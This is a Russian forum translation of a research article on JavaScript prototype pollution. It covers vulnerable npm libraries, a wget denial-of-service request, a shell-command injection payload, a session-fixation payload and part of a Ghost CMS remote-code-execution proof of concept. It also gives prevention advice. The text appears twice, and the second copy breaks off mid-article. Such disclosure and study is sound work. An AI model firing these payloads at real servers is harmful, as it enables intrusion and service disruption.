Содержание
Загрязнение прототипа - это термин, который был придуман много лет назад в сообществе JavaScript для обозначения библиотек, которые добавляли метод расширения к прототипу базового объекта, например «Object», «String» или «Function».
Это очень быстро стало считаться плохой практикой, поскольку это привело к неожиданному поведению в приложении. Последней крупной библиотекой, которая использовала этот тип механики, была библиотека под названием «Prototype».
Хотя библиотека все еще существует, ее по большей части считают мертвой.
В этой статье мы проанализируем проблему загрязнения прототипа под другим углом. Что, если бы злоумышленник мог загрязнить прототип базового объекта своим собственным значением?
Какой API позволил бы такое загрязнение? Что с этим делать?
Погружение в JS
Для тех, кто никогда не углублялся во внутреннюю работу с JavaScript, эту статью может быть трудно полностью понять.
Перед началом работы необходимо краткое изложение того, как работает «прототип», и еще нескольких особенностей JavaScript.
Что такое объект?
Давайте начнём с самого простого способа создать объект:
Хотя мы не объявили никаких свойств для этого объекта, он не пуст. Фактически мы можем видеть, что несколько свойств возвращают что-то (например, obj .__ proto __, obj.constructor, obj.toString и т. Д.). Итак, откуда берутся эти свойства?
Чтобы понять эту часть, нам нужно посмотреть, как классы существуют внутри язык JavaScript.
Концепция класса в JavaScript начинается с функции. Сама функция служит конструктором класса.
Функция доступна на всех экземплярах «MyClass», объявленных в прототипе. На что стоит обратить внимание, что во время этого объявления прототип был изменен.
Это означало, что по умолчанию программа может в любой момент добавить, изменить или удалить запись в прототипе класса.
Если мы вернемся к нашему первому примеру с пустым объектом, мы можем сказать, что объявленный нами пустой объект фактически является объектом, у которого есть конструктор, функция «Object» и свойства, подобные «toString»,
определены в прототипе «Object» Полный список значений, которые по умолчанию присваиваются объекту, можно найти в документации MDN.
Доступ к свойствам
Следует отметить, что в JavaScript нет различия между свойством и функцией экземпляра. Функция экземпляра - это свойство, типом которого является функция. Таким образом, доступ к функции экземпляра и другому свойству осуществляется точно так же.
В JavaScript есть две нотации для доступа к свойству: точечная нотация (например: obj.a) и квадратная скобка (например: obj [«a»]). Второй чаще всего используется, когда индекс динамический.
Магические свойства
По умолчанию в прототипе объекта существует достаточное количество свойств.
Мы рассмотрим два из них: «конструктор» и «__proto__».
«Конструктор» - это магическое свойство, которое возвращает функцию, используемую для создания объекта.
Следует отметить, что в каждом конструкторе есть свойство «прототип», которое указывает на прототип класса.
«__Proto__» - это магическое свойство, возвращающее «прототип» класса объекта. Хотя это свойство не является стандартом для языка JavaScript, оно полностью поддерживается в среде NodeJS.
Что следует отметить в этом свойстве, так это то, что оно реализовано как свойство getter/setter, которое вызывает get PrototypeOf/setPrototypeOf при чтении записи.
Таким образом, присвоение нового значения свойству «__proto__» не затеняет унаследованное значение, определенное в прототипе. Единственный способ затенить его - использовать Object.defineProperty.
Поиск уязвимых библиотек
Основная концепция
Общая идея, лежащая в основе загрязнения прототипа, начинается с того факта, что злоумышленник контролирует хотя бы параметр «а» и «значение» любого выражения следующей формы:
Атакующий может установить «a» на «__ proto __», и свойство с именем, определенным «b», будет определено как отдельный существующий объект (из класса «obj») приложения со значением «value».
Это все может быть добавлено со следующей формой, когда злоумышленник имеет хотя бы контроль над «a»,«b» и «value».
Злоумышленник может установить «a» на «конструктор», «b» на «прототип», и свойство с именем, определенным «c», будет определено для всего существующего объекта приложения со значением «value». Однако, поскольку для этого требуется более сложное назначение объекта, с первой формой легче работать. Хотя гораздо приятнее, что вы наткнетесь на код, текстуально похожий на приведенный пример, некоторые манипуляции могут предоставить злоумышленнику аналогичный контроль. Это будет рассмотрено в следующем разделе.
Примечание. Если объект, который вы загрязняете, не является экземпляром «Object», помните, что вы всегда можете продвинуться вверх по цепочке прототипов,
обратившись к атрибуту «__proto__» прототипа (например: т«inst .__ proto __.__ proto__» укзывает на прототип «Объекта»)
Манипуляции, подверженные загрязнению прототип
В этой статье были определены три типа API, которые могут привести к «прототипному» загрязнению.
Хотя не все реализации этих типов API, доступные в NPM, затронуты, по крайней мере один был идентифицирован.
Логика уязвимой рекурсивной функции слияния на высоком уровне выглядит как следующий псевдокод
Когда исходный объект содержит свойство с именем «__proto__», определенное с помощью Object.defineProperty (), условие, которое проверяет, существует ли «свойство и является ли объектом как на цели, так и на источнике»,
будет пройдено, и слияние будет рекурсивно с целевым прототип «Объекта», а источник - «Объект», определенный злоумышленником. Затем свойства будут скопированы на прототип «Объекта».
Определение свойства по пути
Некоторые библиотеки предлагают API для определения значения свойства объекта на основе предоставленного пути. Этот путь часто определяется с помощью точечной записи и по большей части предназначен для упрощения
присвоения значений сложным объектам. Затронутая функция обычно имела следующую сигнатуру:
Если злоумышленник может контролировать значение «path», он может установить это значение на «__proto __. MyValue». «MyValue» будет затем присвоено прототипу класса объекта.
Клонирование объекта
Загрязнение прототипа может произойти с API, который клонирует объект, когда API реализует клон как рекурсивное слияние для пустого объекта. Обратите внимание, что проблема должна влиять на функцию слияния.
Сканирование на уязвимые API
Выполнение ручного анализа кода для всей библиотеки NPM занимает много времени, а статический анализ кода очень сложно использовать для выявления такой проблемы в библиотеках. Однако, поскольку у уязвимого API будет заметный побочный эффект,
для выявления большого количества уязвимых библиотек был использован динамический подход. Хотя этот подход не позволяет выявить все затронутые библиотеки, он смог идентифицировать большой объем библиотек с минимальным кодированием и
затратами процессора.
Подход можно определить на высоком уровне с помощью следующего:
Затронутые библиотеки
С помощью подхода, описанного выше, я смог идентифицировать хороший объем библиотеки, который допускал загрязнение прототипа, когда злоумышленник может контролировать некоторые входные данные.
В некоторых случаях это вызвано непреднамеренной ошибкой, а в других - преднамеренным. Этот список не является исчерпывающим, но охватывает наиболее распространенную библиотеку, используемую в приложении NodeJS.
Функции слияния
hoek
hoek.merge
hoek.applyToDefaults
Fixed in version 4.2.1
Fixed in version 5.0.3
lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
Fixed in version 4.17.5
merge
merge.recursive
Not fixed. Package maintainer didn’t respond to the disclosure.
defaults-deep
defaults-deep
Fixed in version 0.2.4
merge-objects
merge-objects
Not fixed. Package maintainer didn’t respond to the disclosure.
assign-deep
assign-deep
Fixed in version 0.4.7
merge-deep
Merge-deep
Fixed in version 3.0.1
mixin-deep
mixin-deep
Fixed in version 1.3.1
deep-extend
deep-extend
Not fixed. Package maintainer didn’t respond to the disclosure.
merge-options
merge-options
Not fixed. Package maintainer didn’t respond to the disclosure.
deap
deap.extend
deap.merge
deap
Fixed in version 1.0.1
merge-recursive
merge-recursive.recursive
Not fixed. Package maintainer didn’t respond to the disclosure
Функции клонирования
deap
deap.clone
Fixed in version 1.0.1
Определение свойства по пути
Эти функции спроектированы уязвимыми. Никогда не позволяйте аргументу пути быть введенным пользователем, если пользовательский ввод не занесен в белый список
lodash
lodash.set
lodash.setWith
pathval
pathval.setPathValue
pathval
dot-prop
dot-prop.set
dot-prop
object-path
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
Атака на уязвимую реализацию
Одна из особенностей этой атаки состоит в том, что общий эксплойт вне атаки типа «отказ в обслуживании» зависит от того, как приложение работает со своим объектом.
Чтобы провести более значимую атаку, нам нужно найти интересное использование объектов в коде.
Теория
Отказ в обслуживании(DoS)
Одна из особенностей этой атаки состоит в том, что общий эксплойт вне атаки типа «отказ в обслуживании» зависит от того, как приложение работает со своим объектом. Чтобы провести более значимую атаку,
нам нужно найти интересное использование объектов в коде.
Рассмотрим следующее приложение Express. Уязвимый вызов в этом случае расположен в строке 12. Вызов объединяет значение, поступающее из тела, в объект.
При запуске сценария эксплойта функции «toString» и «valueOf» повреждаются, и каждый последующий запрос возвращает ошибку 500.
Экплоит:
Загрязнение цикла for
Одним из интересных аспектов «Prototype pollution» является то, что добавленное свойство можно перечислить. Это означает, что цикл al l «for (varkeyinobj) {...}» теперь будет зацикливаться на дополнительное время с «ключом» к имени свойства,
которое мы загрязнили «Объект» с. Таким образом, одним из подходов к использованию этого может быть поиск цикла, вызывающего опасный API, и заражения прототипа значениями, которые будут запускать этот API, значением нашего выбора.
Помните, что злоумышленнику не обязательно запускать саму цель.
payload:
Инъекция свойств
Еще один интересный аспект «загрязнения прототипа» заключается в том, что определенный нами атрибут теперь будет существовать на объектах, которые не определили его явно. Одно из мест, где это может быть очень интересно, - это заголовки HTTP.
Модуль NodeJS «http» поддерживает несколько заголовков с одинаковым именем. Этот способ анализа заключается в том, что все заголовки с одинаковым именем объединяются вместе и разделяются запятыми.
Поэтому, если мы загрязнили, например, ключ «cookie», значение «request.headers.cookie» всегда будет начинаться со значения, которым мы загрязнились. Это может позволить создать мощный вариант атаки фиксации сеанса,
когда каждый, кто запрашивает что-то с сервера, будет использовать один и тот же сеанс.
payload
Практика
Ghost CMS (неаутентифицированный RCE)
Затронутые версии
Уязвимость была обнаружена и подтверждена в версии 1.19.2, но уязвимы и версии с 1.17.x до 1.19.x. Эксплойт был создан для версии 1.19.2. Другие версии могут потребовать небольшой адаптации для правильной работы.
Первая выпущенная версия, в которой проблема была устранена, - 1.20.0.
PoC
Полную полезную нагрузку можно найти в разделе «Final payload». Чтобы воспроизвести эксплойт, необходимо сделать следующие шаги:
Местоположение ошибки можно найти в этом примечании к патчу. Хотя в примечании к патчу очень расплывчато говорится о проблеме, это исправление,
сделанное Ghost CMS для этой уязвимости.
github.com
Базовый запрос, который будет использоваться для этого эксплойта, следующий. Свойство, которое будет скопировано в прототип объекта, будет в объявлении объекта «__proto__».
Разблокирование приложения
Внедрение свойства в прототип объекта сильно портит нормальное выполнение приложения. В случае GhostCMS добавление одного свойства приводит к сбою всех конечных точек или возврату страницы с ошибкой.
Итак, чтобы создать мощный эксплойт, мы должны сначала найти способ «исправить» приложение.
Процесс «восстановления» приложения на высоком уровне можно рассматривать как:
Исправление того что undefined не является объектом
Наиболее частая ошибка, с которой вы столкнетесь, - «Невозможно прочитать свойство «XXXX» из undefined». Это происходит, когда код пытается прочитать свойство значения «undefined». Если свойство не существует в JavaScript,
undefined - это значение заполнителя, которое оно вернет. Поэтому, когда код выполняет что-то вроде «obj.doesnotexist.doesnotexist», он вылетает. Один из примеров, когда мне нужно было исправить отсутствующее свойство,
был в следующем фрагменте кода. Из-за повреждения, когда выполнение достигает этой точки, объект «результат» не имеет ожидаемых свойств. Это вызывает сбой во время выполнения.
Чтобы исправить это, в полезную нагрузку было добавлено следующее свойство.
Выражение «result.meta.pagination.pages» теперь правильно оценивает
Исправление бесконечной рекурсии
Одна из проблем, возникающих при загрязнении прототипа Object свойством объекта, заключается в том, что все объекты, существующие во время выполнения, теперь имеют бесконечную глубину.
Если, например, мы загрязняем прототип Object следующим значением:
Поскольку только что добавленное свойство «foo» также относится к типу Object, оно унаследует свойство foo. Это делает следующий код правильным.
Это, однако, создает бесконечную рекурсию, когда есть фрагмент кода, который рекурсивно выполняет итерацию на объекте.
Чтобы исправить эту проблему, мы можем определить значение, которое мы загрязняем, следующим образом
Избегаем тупик
Иногда сбой происходит в «тупиковых» местах, что означает, что во избежание сбоя нельзя добавить никаких свойств. Когда вы сталкиваетесь с подобной ситуацией, лучше всего рассмотреть все условия, которые были выполнены до аварии.
Идея состоит в том, чтобы найти условие, при котором свойство можно изменить, чтобы тупиковый путь больше не использовался.
Инъекция свойств с целью исполнения кода
Изменение визуализированного шаблона
Один из интересных моментов в работе GhostCMS заключается в том, что шаблон для рендеринга загружается лениво. Ленивая загрузка предполагает, что значение сначала не определено, а затем определяется при обращении к нему.
Это означает, что если мы загрязняем свойство
Шаблоны хэндлеров приложения GhostCMS довольно сложно использовать для внедрения свойств. Однако выяснилось, что пакет «express-hbs» идет со своим тестовым набором.
Шаблон
Введенное свойство
Внедрение кода в движок рендеринга
Механизм рендеринга, используемый GhostCMS, - это handlebar. Рендеринг шаблона включает примерно три этапа: текстовый шаблон-> объектное представление шаблона-> код JavaScript.
Свойство, которое мы вводим, находится в форме объектного представления шаблона. Мы будем злоупотреблять свойством blockParams, которое будет напрямую внедрено в окончательный код JavaScript.
Внедряемое свойство:
Final payload
Когда мы соберем все вместе, мы сможем получить эту последнюю полезную нагрузку, которая будет выдавать «kcalc» каждый раз, когда загружается главная страница.
Следует отметить одну вещь: поскольку выполнение полезной нагрузки JavaScript происходит в контексте, подобном eval, функция «require» недоступна напрямую.
Однако к «require» можно получить доступ через
Создание более стабильного эксплойта
В этом эксплойте, поскольку мы внедряем код JavaScript, мы также можем вернуть приложение в исходное состояние после выполнения полезной нагрузки, удалив все свойства, которые мы добавили к прототипу объекта.
Таким образом, мы можем заменить значение «blockParams» на это:
Это отличная идея, которую я получил от Яна Бушара, обсуждая с ним этот эксплойт.
Предотвращение
Замораживание прототипа
Версия 5 стандарта ECMAScript представила очень интересный набор функций для языка JavaScript. Это позволило определить неперечислимые свойства, геттер, сеттер и многое другое. Одним из представленных API был «Object.freeze».
Когда эта функция вызывается для объекта, любая дальнейшая модификация этого объекта автоматически завершится ошибкой. Поскольку прототип Object - это объект, его можно заморозить.
Это снизит вероятность почти всех возможных случаев эксплуатации.
Обратите внимание, что хотя добавление функции к прототипу базового объекта вызывает недовольство на практике, ее все же можно использовать в вашем приложении NodeJS или его зависимости.
Настоятельно рекомендуется проверить ваше приложение NodeJS и его зависимости на предмет такого использования, прежде чем идти по этому пути.
Поскольку поведение замороженного объекта заключается в молчаливом выходе из строя при присвоении свойства, это может затруднить идентификацию ошибки.
Несколько библиотек в NPM (например: avj) предлагают проверку схемы для данных JSON. Проверка схемы гарантирует, что данные JSON содержат все ожидаемые атрибуты соответствующего типа.
При использовании этого подхода для смягчения атаки «загрязнения прототипа» важно отклонять ненужные атрибуты. В avj это можно сделать, установив для «additionalProperties» значение «false» в схеме.
Использование Map вместо Object
Примитив Map был представлен в стандарте EcmaScript 6. По сути, он работает как HashMap, но без всех оговорок безопасности, которые есть у Object. Сейчас он хорошо поддерживается в современной среде NodeJS и постепенно выходит в браузеры.
Когда требуется структура "ключ-значение", предпочтительнее использовать Map вместо объекта.
Object.create(null)
В JavaScript можно создать объект, не имеющий прототипа. Это требует использования функции «Object.create». Объект, созданный с помощью этого API, не будет иметь атрибутов «__ proto__» и «constructor».
Создание объекта таким образом может помочь предотвратить атаку загрязнения прототипа.
Очередной раз спасибо weaver за материал:
github.com
В этот раз перевод немного хромает и списки иногда кривые получились(на форуме новый конструктор)
Если есть предложения что перевести, для них есть тема
Перевод:
Azrv3l cпециально для xss.pro
- Введение
- Погружение в JS
- Что такое объект?
- Доступ к свойствам
- Магические свойства
- Поиск уязвимых библиотек
- Основная концепция
- Манипуляции, подверженные загрязнению прототипа
- Рекурсивное слияние объектов
- Определение свойства по пути
- Клонирование объекта
- Сканирование на уязвимые API
- Затронутые библиотеки
- Функции слияния
- hoek
- lodash
- merge
- defaults-deep
- merge-objects
- assign-deep
- merge-deep
- mixin-deep
- deep-extend
- merge-options
- deap
- merge-recursive
- Клонирования
- deep
- Определение свойства по пути
- lodash
- pathval
- dot-prop
- object-path
- Функции слияния
- Атака на уязвимую реализацию
- Теория
- Отказ в обслуживании(DoS)
- Загрязнение цикла for
- Инъекция свойств
- Практика
- Ghost CMS (неаутентифицированный RCE)
- Затронутые версии
- PoC
- Базовый запрос
- Разблокирование приложения
- Инъекция свойств с целью исполнения кода
- Ghost CMS (неаутентифицированный RCE)
- Теория
- Предотвращение
- Замораживание прототипа
- Проверка схемы ввода JSON
- Использование Map вместо Object
- Object.create(null)
Загрязнение прототипа - это термин, который был придуман много лет назад в сообществе JavaScript для обозначения библиотек, которые добавляли метод расширения к прототипу базового объекта, например «Object», «String» или «Function».
Это очень быстро стало считаться плохой практикой, поскольку это привело к неожиданному поведению в приложении. Последней крупной библиотекой, которая использовала этот тип механики, была библиотека под названием «Prototype».
Хотя библиотека все еще существует, ее по большей части считают мертвой.
В этой статье мы проанализируем проблему загрязнения прототипа под другим углом. Что, если бы злоумышленник мог загрязнить прототип базового объекта своим собственным значением?
Какой API позволил бы такое загрязнение? Что с этим делать?
Погружение в JS
Для тех, кто никогда не углублялся во внутреннюю работу с JavaScript, эту статью может быть трудно полностью понять.
Перед началом работы необходимо краткое изложение того, как работает «прототип», и еще нескольких особенностей JavaScript.
Что такое объект?
Давайте начнём с самого простого способа создать объект:
JavaScript:
var obj = {};
Хотя мы не объявили никаких свойств для этого объекта, он не пуст. Фактически мы можем видеть, что несколько свойств возвращают что-то (например, obj .__ proto __, obj.constructor, obj.toString и т. Д.). Итак, откуда берутся эти свойства?
Чтобы понять эту часть, нам нужно посмотреть, как классы существуют внутри язык JavaScript.
Концепция класса в JavaScript начинается с функции. Сама функция служит конструктором класса.
JavaScript:
function MyClass() {
}
var inst = new MyClass();
Функция доступна на всех экземплярах «MyClass», объявленных в прототипе. На что стоит обратить внимание, что во время этого объявления прототип был изменен.
Это означало, что по умолчанию программа может в любой момент добавить, изменить или удалить запись в прототипе класса.
JavaScript:
MyClass.prototype.myFunction = function () {
return 42;
};
var inst = new MyClass();
var theAnswer = inst.myFunction();
Если мы вернемся к нашему первому примеру с пустым объектом, мы можем сказать, что объявленный нами пустой объект фактически является объектом, у которого есть конструктор, функция «Object» и свойства, подобные «toString»,
определены в прототипе «Object» Полный список значений, которые по умолчанию присваиваются объекту, можно найти в документации MDN.
Доступ к свойствам
Следует отметить, что в JavaScript нет различия между свойством и функцией экземпляра. Функция экземпляра - это свойство, типом которого является функция. Таким образом, доступ к функции экземпляра и другому свойству осуществляется точно так же.
В JavaScript есть две нотации для доступа к свойству: точечная нотация (например: obj.a) и квадратная скобка (например: obj [«a»]). Второй чаще всего используется, когда индекс динамический.
JavaScript:
var obj = { “a” : 1, “b” : function() { return 41; } };
var name1 = “a”;
obj.a // 1
obj[“a”] // 1
obj[name1] // 1
var name2 = “b”;
obj.b() // 41
obj.b // function.
obj[“b”] // function
obj[name2] // function
Магические свойства
По умолчанию в прототипе объекта существует достаточное количество свойств.
Мы рассмотрим два из них: «конструктор» и «__proto__».
«Конструктор» - это магическое свойство, которое возвращает функцию, используемую для создания объекта.
Следует отметить, что в каждом конструкторе есть свойство «прототип», которое указывает на прототип класса.
JavaScript:
function MyClass() {
}
MyClass.prototype.myFunc = function () {
return 7;
}
var inst = new MyClass();
inst.constructor // returns the function MyClass
inst.constructor.prototype // returns the prototype of MyClass
inst.constructor.prototype.myFunc() // returns 7
«__Proto__» - это магическое свойство, возвращающее «прототип» класса объекта. Хотя это свойство не является стандартом для языка JavaScript, оно полностью поддерживается в среде NodeJS.
Что следует отметить в этом свойстве, так это то, что оно реализовано как свойство getter/setter, которое вызывает get PrototypeOf/setPrototypeOf при чтении записи.
Таким образом, присвоение нового значения свойству «__proto__» не затеняет унаследованное значение, определенное в прототипе. Единственный способ затенить его - использовать Object.defineProperty.
JavaScript:
function MyClass() {
}
MyClass.prototype.myFunc = function () {
return 7;
}
var inst = new MyClass();
inst.__proto__ // возврощает прототип MyClass
inst.__proto__.myFunc() // возвращяет 7
inst.__proto__ = { “a” : “123” }; // изменяет прототип
inst.hasOwnProperty(“__proto__”) // false. Мы не изменили свойство
Поиск уязвимых библиотек
Основная концепция
Общая идея, лежащая в основе загрязнения прототипа, начинается с того факта, что злоумышленник контролирует хотя бы параметр «а» и «значение» любого выражения следующей формы:
JavaScript:
obj[a][b] = value
Атакующий может установить «a» на «__ proto __», и свойство с именем, определенным «b», будет определено как отдельный существующий объект (из класса «obj») приложения со значением «value».
Это все может быть добавлено со следующей формой, когда злоумышленник имеет хотя бы контроль над «a»,«b» и «value».
JavaScript:
obj[a][b][c] = value
Злоумышленник может установить «a» на «конструктор», «b» на «прототип», и свойство с именем, определенным «c», будет определено для всего существующего объекта приложения со значением «value». Однако, поскольку для этого требуется более сложное назначение объекта, с первой формой легче работать. Хотя гораздо приятнее, что вы наткнетесь на код, текстуально похожий на приведенный пример, некоторые манипуляции могут предоставить злоумышленнику аналогичный контроль. Это будет рассмотрено в следующем разделе.
Примечание. Если объект, который вы загрязняете, не является экземпляром «Object», помните, что вы всегда можете продвинуться вверх по цепочке прототипов,
обратившись к атрибуту «__proto__» прототипа (например: т«inst .__ proto __.__ proto__» укзывает на прототип «Объекта»)
Манипуляции, подверженные загрязнению прототип
В этой статье были определены три типа API, которые могут привести к «прототипному» загрязнению.
Хотя не все реализации этих типов API, доступные в NPM, затронуты, по крайней мере один был идентифицирован.
- Рекурсивное слияние объектов
- Определение свойства по пути
- Клонирование объектов
Логика уязвимой рекурсивной функции слияния на высоком уровне выглядит как следующий псевдокод
Код:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
Когда исходный объект содержит свойство с именем «__proto__», определенное с помощью Object.defineProperty (), условие, которое проверяет, существует ли «свойство и является ли объектом как на цели, так и на источнике»,
будет пройдено, и слияние будет рекурсивно с целевым прототип «Объекта», а источник - «Объект», определенный злоумышленником. Затем свойства будут скопированы на прототип «Объекта».
Определение свойства по пути
Некоторые библиотеки предлагают API для определения значения свойства объекта на основе предоставленного пути. Этот путь часто определяется с помощью точечной записи и по большей части предназначен для упрощения
присвоения значений сложным объектам. Затронутая функция обычно имела следующую сигнатуру:
JavaScript:
theFunction(object, path, value)
Если злоумышленник может контролировать значение «path», он может установить это значение на «__proto __. MyValue». «MyValue» будет затем присвоено прототипу класса объекта.
Клонирование объекта
Загрязнение прототипа может произойти с API, который клонирует объект, когда API реализует клон как рекурсивное слияние для пустого объекта. Обратите внимание, что проблема должна влиять на функцию слияния.
JavaScript:
function clone(obj) {
return merge({}, obj);
}
Сканирование на уязвимые API
Выполнение ручного анализа кода для всей библиотеки NPM занимает много времени, а статический анализ кода очень сложно использовать для выявления такой проблемы в библиотеках. Однако, поскольку у уязвимого API будет заметный побочный эффект,
для выявления большого количества уязвимых библиотек был использован динамический подход. Хотя этот подход не позволяет выявить все затронутые библиотеки, он смог идентифицировать большой объем библиотек с минимальным кодированием и
затратами процессора.
Подход можно определить на высоком уровне с помощью следующего:
- Установите библиотеку для тестирования с помощью «npm».
- В JavaScript
- «require» библиотеку по ее имени
- Рекурсивно перечислите все доступные функции.
- Для каждой идентифицированной функции
- Вызов функции с сигнатурой, которая загрязнит прототип «объекта», если реализация будет уязвимой
- По завершении вызова проверьте, не возник ли побочный эффект. Если это так, мы можем отметить функцию как затронутую и устранить побочный эффект.
Затронутые библиотеки
С помощью подхода, описанного выше, я смог идентифицировать хороший объем библиотеки, который допускал загрязнение прототипа, когда злоумышленник может контролировать некоторые входные данные.
В некоторых случаях это вызвано непреднамеренной ошибкой, а в других - преднамеренным. Этот список не является исчерпывающим, но охватывает наиболее распространенную библиотеку, используемую в приложении NodeJS.
Функции слияния
hoek
hoek.merge
hoek.applyToDefaults
Fixed in version 4.2.1
Fixed in version 5.0.3
lodash
lodash.defaultsDeep
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
Fixed in version 4.17.5
merge
merge.recursive
Not fixed. Package maintainer didn’t respond to the disclosure.
defaults-deep
defaults-deep
Fixed in version 0.2.4
merge-objects
merge-objects
Not fixed. Package maintainer didn’t respond to the disclosure.
assign-deep
assign-deep
Fixed in version 0.4.7
merge-deep
Merge-deep
Fixed in version 3.0.1
mixin-deep
mixin-deep
Fixed in version 1.3.1
deep-extend
deep-extend
Not fixed. Package maintainer didn’t respond to the disclosure.
merge-options
merge-options
Not fixed. Package maintainer didn’t respond to the disclosure.
deap
deap.extend
deap.merge
deap
Fixed in version 1.0.1
merge-recursive
merge-recursive.recursive
Not fixed. Package maintainer didn’t respond to the disclosure
Функции клонирования
deap
deap.clone
Fixed in version 1.0.1
Определение свойства по пути
Эти функции спроектированы уязвимыми. Никогда не позволяйте аргументу пути быть введенным пользователем, если пользовательский ввод не занесен в белый список
lodash
lodash.set
lodash.setWith
pathval
pathval.setPathValue
pathval
dot-prop
dot-prop.set
dot-prop
object-path
object-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path
Атака на уязвимую реализацию
Одна из особенностей этой атаки состоит в том, что общий эксплойт вне атаки типа «отказ в обслуживании» зависит от того, как приложение работает со своим объектом.
Чтобы провести более значимую атаку, нам нужно найти интересное использование объектов в коде.
Теория
Отказ в обслуживании(DoS)
Одна из особенностей этой атаки состоит в том, что общий эксплойт вне атаки типа «отказ в обслуживании» зависит от того, как приложение работает со своим объектом. Чтобы провести более значимую атаку,
нам нужно найти интересное использование объектов в коде.
Рассмотрим следующее приложение Express. Уязвимый вызов в этом случае расположен в строке 12. Вызов объединяет значение, поступающее из тела, в объект.
При запуске сценария эксплойта функции «toString» и «valueOf» повреждаются, и каждый последующий запрос возвращает ошибку 500.
JavaScript:
var _ = require('lodash');
var express = require('express');
var app = express();
var bodyParser = require('body-parser');
app.use(bodyParser.json({ type: 'application/*+json' }))
app.get('/', function (req, res) {
res.send("Use the POST method !");
});
app.post('/', function (req, res) {
_.merge({}, req.body);
res.send(req.body);14. });
app.listen(3000, function () {
console.log('Example app listening on port 3000!')
});
Экплоит:
Код:
wget --header="Content-Type: application/javascript+json"--post-data='{"__proto__":{"toString":"123","valueOf":"It works !"}}' http://localhost:3000/ -O--q
Загрязнение цикла for
Одним из интересных аспектов «Prototype pollution» является то, что добавленное свойство можно перечислить. Это означает, что цикл al l «for (varkeyinobj) {...}» теперь будет зацикливаться на дополнительное время с «ключом» к имени свойства,
которое мы загрязнили «Объект» с. Таким образом, одним из подходов к использованию этого может быть поиск цикла, вызывающего опасный API, и заражения прототипа значениями, которые будут запускать этот API, значением нашего выбора.
Помните, что злоумышленнику не обязательно запускать саму цель.
Код:
var execSync = require('child_process').execSync;
function runJobs() {
var commands = {
"script-1" : "/bin/bash /opt/my-script-1.sh",
"script-2" : "/bin/bash /opt/my-script-2.sh"
};
for (var scriptname in commands) {
console.log("Executing " + scriptname);
execSync(commands[scriptname]);
}
}
payload:
Код:
{“__proto__”:{“my malicious command”:”echo yay > /tmp/evil”}}
Инъекция свойств
Еще один интересный аспект «загрязнения прототипа» заключается в том, что определенный нами атрибут теперь будет существовать на объектах, которые не определили его явно. Одно из мест, где это может быть очень интересно, - это заголовки HTTP.
Модуль NodeJS «http» поддерживает несколько заголовков с одинаковым именем. Этот способ анализа заключается в том, что все заголовки с одинаковым именем объединяются вместе и разделяются запятыми.
Поэтому, если мы загрязнили, например, ключ «cookie», значение «request.headers.cookie» всегда будет начинаться со значения, которым мы загрязнились. Это может позволить создать мощный вариант атаки фиксации сеанса,
когда каждый, кто запрашивает что-то с сервера, будет использовать один и тот же сеанс.
payload
Код:
{“__proto__”:{“cookie”:”sess=fixedsessionid; garbage=”}}
Практика
Ghost CMS (неаутентифицированный RCE)
Затронутые версии
Уязвимость была обнаружена и подтверждена в версии 1.19.2, но уязвимы и версии с 1.17.x до 1.19.x. Эксплойт был создан для версии 1.19.2. Другие версии могут потребовать небольшой адаптации для правильной работы.
Первая выпущенная версия, в которой проблема была устранена, - 1.20.0.
PoC
Полную полезную нагрузку можно найти в разделе «Final payload». Чтобы воспроизвести эксплойт, необходимо сделать следующие шаги:
- Запустите локальный Ghost командой
ghost start- запустить ghost на 2368 порту - Скопируйте полезную нагрузку HTTP-запроса, найденную в разделе «Final payload» в окно репитера Burp (или аналога Zap Proxy).
- Отправить запрос
- Посетите http://127.0.0.1:2368/ в любом браузере по вашему выбору. Команда «kcalc» будет выполнена. Если ничего не отображается, убедитесь, что пакет «kcalc» установлен, поскольку это не пакет по умолчанию, ИЛИ измените полезную нагрузку, чтобы запустить другую программу по вашему выбору.
Местоположение ошибки можно найти в этом примечании к патчу. Хотя в примечании к патчу очень расплывчато говорится о проблеме, это исправление,
сделанное Ghost CMS для этой уязвимости.
Improved forwarding model options in the API layer (#9380) · TryGhost/Ghost@dcb2aa9
no issue - our API layer uses a unit to combine incoming data and options - e.g. `options.data` is the end result - we have to take care that we don't pass data into the model layer Cre...
Базовый запрос, который будет использоваться для этого эксплойта, следующий. Свойство, которое будет скопировано в прототип объекта, будет в объявлении объекта «__proto__».
HTTP:
PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Connection: close
{"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "test1321321@test.com",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"__proto__": {
}
}]}
Разблокирование приложения
Внедрение свойства в прототип объекта сильно портит нормальное выполнение приложения. В случае GhostCMS добавление одного свойства приводит к сбою всех конечных точек или возврату страницы с ошибкой.
Итак, чтобы создать мощный эксплойт, мы должны сначала найти способ «исправить» приложение.
Процесс «восстановления» приложения на высоком уровне можно рассматривать как:
- Понять, почему приложение вылетает из-за того свойства, которое у нас есть.
- Добавить правильного свойства для исправления сбоя.
- Проверить исправление с недавно найденным свойством.
- Повторять, пока мы не дойдем до нужной точки.
Исправление того что undefined не является объектом
Наиболее частая ошибка, с которой вы столкнетесь, - «Невозможно прочитать свойство «XXXX» из undefined». Это происходит, когда код пытается прочитать свойство значения «undefined». Если свойство не существует в JavaScript,
undefined - это значение заполнителя, которое оно вернет. Поэтому, когда код выполняет что-то вроде «obj.doesnotexist.doesnotexist», он вылетает. Один из примеров, когда мне нужно было исправить отсутствующее свойство,
был в следующем фрагменте кода. Из-за повреждения, когда выполнение достигает этой точки, объект «результат» не имеет ожидаемых свойств. Это вызывает сбой во время выполнения.
JavaScript:
// Call fetchData to get everything we need from the API
return fetchData(res.locals.channel).then(
function handleResult(result) {
// If page is greater than number of pages we [...]
if (pageParam > result.meta.pagination.pages) {
[...]
}
Чтобы исправить это, в полезную нагрузку было добавлено следующее свойство.
JavaScript:
"meta": { "pagination": { "pages": "100" } }
Выражение «result.meta.pagination.pages» теперь правильно оценивает
Исправление бесконечной рекурсии
